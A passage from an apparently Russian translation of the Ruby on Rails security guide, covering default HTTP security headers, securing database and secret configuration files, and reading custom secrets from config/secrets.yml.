  'X-Frame-Options' => 'DENY'
}

Или можно убрать их.

config.action_dispatch.default_headers.clear

Вот список обычных заголовков:

10. Безопасность среды

За пределами этого руководства осталось, как обезопасить код приложения и среды (environments). Однако, пожалуйста, обеспечьте безопасность конфигурации вашей базы данных, т.е. config/database.yml, и секретного ключа сервера, хранящегося в config/secrets.yml. Для дальнейшего ограничения доступа используйте специфичные для сред версии этих и любых других файлов, которые могут содержать деликатную информацию.

10.1. Настраиваемые секретные настройки

Rails генерирует config/secrets.yml. По умолчанию этот файл содержит секретный ключ приложения secret_key_base, но он может использоваться также для хранения других секретных настроек, таких как ключи доступа к внешним API.

Секретные настройки, добавленные в этот файл, доступны через Rails.application.secrets. Например, со следующим config/secrets.yml:

development:
  secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
  some_api_key: SOMEKEY

Rails.application.secrets.some_api_key вернет SOMEKEY в среде development.

Если вы хотите вызвать исключение, когда ключ пустой, используйте версию с восклицательным знаком:

Rails.application.secrets.some_api_key! # => вызовет KeyError: key not found: :some_api_key

11. Дополнительные источники

Картина безопасности меняется, и важно идти в ногу со временем, поскольку пропуск новой уязвимости может быть катастрофическим. Ниже перечислены дополнительные источники о безопасности (Rails):